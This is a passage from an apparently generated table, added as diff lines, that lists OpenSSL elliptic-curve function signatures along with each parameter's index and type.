*) | | ossl_ec_GFp_simple_group_get_degree | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | ossl_ec_group_simple_order_bits | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_get_curve | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_get_curve | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_get_curve | 2 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_get_curve | 3 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_get_curve | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_get_curve | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_get_curve | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_get_curve | 2 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_get_curve | 3 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_get_curve | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_cofactor | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_cofactor | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_cofactor | 2 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_order | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_order | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_order | 2 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_set_to_one | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_set_to_one | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_set_to_one | 2 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_sqr | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_sqr | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_sqr | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_sqr | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_encode | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_encode | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_encode | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_encode | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_inv | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_inv | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_inv | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_inv | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_sqr | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_sqr | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_sqr | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_sqr | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_sqr | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_sqr | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_sqr | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_sqr | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_inv | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_inv | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_inv | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_inv | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_sqr | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_sqr | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_sqr | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_sqr | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_group_do_inverse_ord | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_group_do_inverse_ord | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_group_do_inverse_ord | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_group_do_inverse_ord | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_div | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_div | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_div | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_div | 3 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_div | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_mul | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_mul | 3 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_mul | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_mul | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_mul | 3 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_mul | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_mul | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_mul | 3 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_mul | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_mul | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_mul | 3 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_mul | 4 | BN_CTX * | +| (const EC_GROUP *,BN_CTX *) | | ossl_ec_GFp_simple_group_check_discriminant | 0 | const EC_GROUP * | +| (const EC_GROUP *,BN_CTX *) | | ossl_ec_GFp_simple_group_check_discriminant | 1 | BN_CTX * | +| (const EC_GROUP *,ECPARAMETERS *) | | EC_GROUP_get_ecparameters | 0 | const EC_GROUP * | +| (const EC_GROUP *,ECPARAMETERS *) | | EC_GROUP_get_ecparameters | 1 | ECPARAMETERS * | +| (const EC_GROUP *,ECPKPARAMETERS *) | | EC_GROUP_get_ecpkparameters | 0 | const EC_GROUP * | +| (const EC_GROUP *,ECPKPARAMETERS *) | | EC_GROUP_get_ecpkparameters | 1 | ECPKPARAMETERS * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_blind_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_blind_coordinates | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_blind_coordinates | 2 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_invert | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_invert | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_invert | 2 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_make_affine | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_make_affine | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_make_affine | 2 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_post | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_post | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_post | 2 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_post | 3 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_post | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_pre | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_pre | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_pre | 2 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_pre | 3 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_pre | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_step | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_step | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_step | 2 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_step | 3 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_step | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_set_affine_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_set_affine_coordinates | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_set_affine_coordinates | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_set_affine_coordinates | 3 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_set_affine_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_set_affine_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_set_affine_coordinates | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_set_affine_coordinates | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_set_affine_coordinates | 3 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_set_affine_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 3 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 4 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 5 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 3 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 4 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 5 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *) | | ossl_ec_scalar_mul_ladder | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *) | | ossl_ec_scalar_mul_ladder | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *) | | ossl_ec_scalar_mul_ladder | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *) | | ossl_ec_scalar_mul_ladder | 3 | const EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *) | | ossl_ec_scalar_mul_ladder | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 3 | const EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 4 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 5 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates | 3 | int | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GF2m | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GF2m | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GF2m | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GF2m | 3 | int | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GF2m | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GFp | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GFp | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GFp | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GFp | 3 | int | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GFp | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | ossl_ec_GFp_simple_set_compressed_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | ossl_ec_GFp_simple_set_compressed_coordinates | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | ossl_ec_GFp_simple_set_compressed_coordinates | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | ossl_ec_GFp_simple_set_compressed_coordinates | 3 | int | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | ossl_ec_GFp_simple_set_compressed_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 3 | size_t | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 4 | const EC_POINT *[] | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 5 | const BIGNUM *[] | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 6 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 3 | size_t | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 4 | const EC_POINT *[] | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 5 | const BIGNUM *[] | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 6 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_dbl | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_dbl | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_dbl | 2 | const EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_dbl | 3 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_add | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_add | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_add | 2 | const EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_add | 3 | const EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_add | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | EC_POINT_oct2point | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | EC_POINT_oct2point | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | EC_POINT_oct2point | 2 | const unsigned char * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | EC_POINT_oct2point | 3 | size_t | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | EC_POINT_oct2point | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_oct2point | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_oct2point | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_oct2point | 2 | const unsigned char * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_oct2point | 3 | size_t | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_oct2point | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const 